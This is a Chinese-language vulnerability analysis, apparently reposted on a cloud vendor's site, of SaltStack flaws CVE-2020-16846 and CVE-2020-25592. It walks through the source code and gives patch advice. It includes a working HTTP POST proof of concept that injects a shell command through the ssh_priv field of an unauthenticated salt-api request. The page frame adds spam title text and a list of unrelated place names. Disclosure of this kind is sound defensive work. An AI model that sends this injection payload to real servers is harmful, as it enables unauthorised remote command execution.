中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析

發布時間:2021-12-28 20:13:54 來源:億速云 閱讀:148 作者:柒染 欄目:安全技術

怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

一、背景

漏洞概述:

SaltStack是一個分布式運維系統,在互聯網場景中被廣泛應用,有以下兩個主要功能:?     配置管理系統,能夠將遠程節點維護在一個預定義的狀態(例如,確保安裝特定的軟件包并運行特定的服務)?     分布式遠程執行系統,用于在遠程節點上單獨或通過任意選擇標準來執行命令和查詢數據

2020年11月4日,SaltStack 官方發布了一則安全更新公告,其中CVE-2020-16846和CVE-2020-25592組合使用可在未授權的情況下通過salt-api接口執行任意命令。CVE-2020-25592允許任意用戶調用SSH模塊,CVE-2020-16846允許用戶執行任意命令。salt-api雖不是默認開啟配置,但絕大多數SaltStack用戶會選擇開啟salt-api,故存在較高風險。

漏洞編號:

CVE-2020-16846、CVE-2020-25592

受影響版本:

?     3002

?     3001.1, 3001.2

?     3000.3, 3000.4

?     2019.2.5, 2019.2.6

?     2018.3.5

?     2017.7.4, 2017.7.8

?     2016.11.3, 2016.11.6,2016.11.10

?     2016.3.4, 2016.3.6,2016.3.8

?     2015.8.10, 2015.8.13

二、漏洞分析及POC

漏洞分析

截至2020年11月11日,補丁代碼尚未與Github中master分支代碼合并,故可直接從SaltStack官方Github倉庫獲取,目前master的代碼版本為3002,系統為Mac,版本號相差較大時代碼變動較大,需另作分析。

Salt Version:
          Salt: 3002-56-g3e269eda82
 
Dependency Versions:
          cffi: 1.14.3
      cherrypy: unknown
      dateutil: Not Installed
     docker-py: Not Installed
         gitdb: 4.0.5
     gitpython: 3.1.11
        Jinja2: 2.11.2
       libgit2: Not Installed
      M2Crypto: Not Installed
          Mako: 1.0.7
       msgpack: 1.0.0
  msgpack-pure: Not Installed
  mysql-python: Not Installed
     pycparser: 2.19
      pycrypto: Not Installed
  pycryptodome: 3.9.9
        pygit2: Not Installed
        Python: 3.8.2 (default, Sep 24 2020, 19:37:08)
  python-gnupg: Not Installed
        PyYAML: 5.3.1
         PyZMQ: 19.0.2
         smmap: 3.0.4
       timelib: Not Installed
       Tornado: 4.5.3
           ZMQ: 4.3.2
 
System Versions:
          dist: darwin 19.6.0 
        locale: utf-8
       machine: x86_64
       release: 19.6.0
        system: Darwin
       version: 10.15.6 x86_64

salt-api REST接口默認使用cherrypy框架,從run接口的實現上可以看出通過client參數動態調用NetapiClient類中的方法。

文中指定代碼位置采用以下約定:FileLocation:Classname.method()

salt/netapi/init.py:NetapiClient.run()

salt/netapi/init.py:NetapiClient.run()

怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析

low參數為外部傳入參數,salt.utils.args.format_call方法將參數賦值給**kwargs。

當client參數為ssh時,動態調用salt/netapi/init.py:NetapiClient.ssh(),該方法未采用任何鑒權

salt/netapi/init.py:NetapiClient.ssh()

怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析

跟進,路徑如下:

salt/netapi/init.py:NetapiClient.ssh()?salt/client/ssh/client.py:SSHClient.cmd_sync()?salt/client/ssh/client.py:SSHClient._prep_ssh()

salt/client/ssh/client.py:SSHClient._prep_ssh()

怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析

該方法將kwargs外部可控參數更新值opts變量,該變量可以理解為SaltStack系統的環境變量,使用該變量初始化salt.client.ssh.SSH。

salt/client/ssh/init.py:SSH.__init__()

怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析

priv的值從opts變量中獲取,并調用salt.client.ssh.shell.gen_key()方法。

salt/client/ssh/shell.py:gen_key()、

怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析

該方法中對命令進行拼接,并進行執行。當傳入值為|COMMAND>{} #即可執行COMMAND命令。

POC

由上分析可知,POC如下:

POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b

怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析

關于復現環境

1. Mac上復現需要手動創建日志文件夾、配置文件夾等,并需要手動寫入相關配置。

2. Docker從官方環境拉取的鏡像中默認沒有SSH,故執行該poc時salt-api會掛掉,經測試3002版本自動重啟,3000.4版本、2019.2.5版本則不會。故當salt-api掛掉時,優先考慮當前機器上是否有SSH軟件。

三、安全建議

1. 盡快修復。由于官方并未放出升級包,故目前仍需要手動進行修復,這里是官方安全通告和修復補丁。

2. 如非必須使用salt-api,請關閉該功能。

看完上述內容,你們掌握怎么實現SaltStack未授權訪問及命令執行漏洞CVE-2020-16846及25592的分析的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

多伦县| 蒙阴县| 延庆县| 隆昌县| 太仆寺旗| 西充县| 汝城县| 吴川市| 绵阳市| 兰西县| 涪陵区| 伊通| 葵青区| 托里县| 桑日县| 凌云县| 平顺县| 龙山县| 伊通| 高安市| 平泉县| 志丹县| 阜南县| 宝坻区| 儋州市| 延寿县| 盐源县| 安福县| 重庆市| 新密市| 开远市| 怀仁县| 建昌县| 上饶市| 郴州市| 和田市| 视频| 桃源县| 常德市| 丹寨县| 崇仁县|